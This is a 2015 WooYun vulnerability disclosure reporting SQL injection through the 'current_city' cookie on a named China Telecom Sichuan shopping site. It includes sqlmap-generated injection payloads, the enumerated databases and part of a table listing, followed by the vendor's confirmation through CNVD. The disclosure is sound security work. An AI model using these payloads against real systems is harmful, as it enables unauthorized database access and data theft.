当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0114110

漏洞标题:中国电信分站存在SQL注入

相关厂商:中国电信

漏洞作者: danieluec

提交时间:2015-05-14 16:49

修复时间:2015-07-02 13:48

公开时间:2015-07-02 13:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-14: 细节已通知厂商并且等待厂商处理中
2015-05-18: 厂商已经确认,细节仅向厂商公开
2015-05-28: 细节向核心白帽子及相关领域专家公开
2015-06-07: 细节向普通白帽子公开
2015-06-17: 细节向实习白帽子公开
2015-07-02: 细节向公众公开

简要描述:

中国电信189.cn分站(四川电信商城,四川电信网上营业厅)存在SQL注入漏洞

详细说明:

看了这个报告:

 WooYun: 中国电信189.cn某站点存在SQL注入(直取数据库账户) 


感觉肯定还存在注入点,结果真的还存在一个注入点。
存在问题的还是这个url,但是这次是cookie参数有漏洞,

http://shop.wapsc.189.cn/mobile.php?act=module&name=shopping&do=list&weid=1


QQ截图20150514150053.png


切换城市,burp抓包,

QQ截图20150514150358.png


问题就出在cookie中的“current_city”参数上了,直接上sqlmap,依然爆出大量库表,

QQ截图20150514150622.png


QQ截图20150514150641.png


漏洞证明:

QQ截图20150514150622.png


QQ截图20150514150641.png


web application technology: PHP 5.4.11, Apache 2.4.9
back-end DBMS: MySQL >= 5.0.0
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] wapmall
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: current_city (Cookie)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: 7455_from_user=1431585551; PHPSESSID=nlng8336dfqgerv4bs2bjvjt13; WT_FPC=id=2fca38b3c919cbce9591431584720437:lv=1431585662872:ss=1431584720437; Hm_lvt_5e7ae588b006b7820c6a5a3ca01d32ec=1431584721,1431585628; Hm_lpvt_5e7ae588b006b7820c6a5a3ca01d32ec=1431585663; current_city=%E6%B3%B8%E5%B7%9E' AND 8635=8635 AND 'ZLZc'='ZLZc
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: 7455_from_user=1431585551; PHPSESSID=nlng8336dfqgerv4bs2bjvjt13; WT_FPC=id=2fca38b3c919cbce9591431584720437:lv=1431585662872:ss=1431584720437; Hm_lvt_5e7ae588b006b7820c6a5a3ca01d32ec=1431584721,1431585628; Hm_lpvt_5e7ae588b006b7820c6a5a3ca01d32ec=1431585663; current_city=%E6%B3%B8%E5%B7%9E' AND (SELECT 3365 FROM(SELECT COUNT(*),CONCAT(0x716b6b6271,(SELECT (CASE WHEN (3365=3365) THEN 1 ELSE 0 END)),0x7162766a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'itAY'='itAY
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: 7455_from_user=1431585551; PHPSESSID=nlng8336dfqgerv4bs2bjvjt13; WT_FPC=id=2fca38b3c919cbce9591431584720437:lv=1431585662872:ss=1431584720437; Hm_lvt_5e7ae588b006b7820c6a5a3ca01d32ec=1431584721,1431585628; Hm_lpvt_5e7ae588b006b7820c6a5a3ca01d32ec=1431585663; current_city=%E6%B3%B8%E5%B7%9E' AND SLEEP(5) AND 'XXhp'='XXhp
---
web application technology: PHP 5.4.11, Apache 2.4.9
back-end DBMS: MySQL >= 5.0.0
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] wapmall
Database: wapmall
[427 tables]
+----------------------------------------------------+
| ims_3d |
| ims_3d_reply |
| ims_3d_set |
| ims_album |
| ims_album_photo |
| ims_album_reply |
| ims_article |
| ims_article_category |
| ims_article_reply |
| ims_attachment |
| ims_award |
| ims_award_list |
| ims_basic_reply |
| ims_bbb_reply |
| ims_bbb_user |
| ims_bbb_winner |
| ims_bigpan_award |
| ims_bigpan_reply |
| ims_bigpan_winner |
| ims_bigwheel_award |
| ims_bigwheel_fans |
| ims_bigwheel_reply |
| ims_black_reply |
| ims_bless_card |
| ims_bless_reply |
| ims_business |
| ims_cache |
| ims_card |
| ims_card_coupon |
| ims_card_log |
| ims_card_members |
| ims_card_members_coupon |
| ims_card_password |
| ims_cgt_signin_record |
| ims_cgt_signin_reply |
| ims_community_admap |
| ims_community_advertisement |
| ims_community_announcement |
| ims_community_express_company |
| ims_community_express_fee |
| ims_community_express_order |
| ims_community_manager |
| ims_community_member |
| ims_community_phone |
| ims_community_region |
| ims_community_reply |
| ims_community_report |
| ims_community_service |
| ims_community_servicecategory |
| ims_community_verifycode |
| ims_costquery_user |
| ims_cover_reply |
| ims_credit_log |
| ims_credit_request |
| ims_crowdfunding_topic |
...

修复方案:

实施严格过滤

版权声明:转载请注明来源 danieluec@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-05-18 13:47

厂商回复:

CNVD确认所述情况,已经转由CNCERT向中国电信集团公司通报,由其后续协调网站管理部门处置.

最新状态:

暂无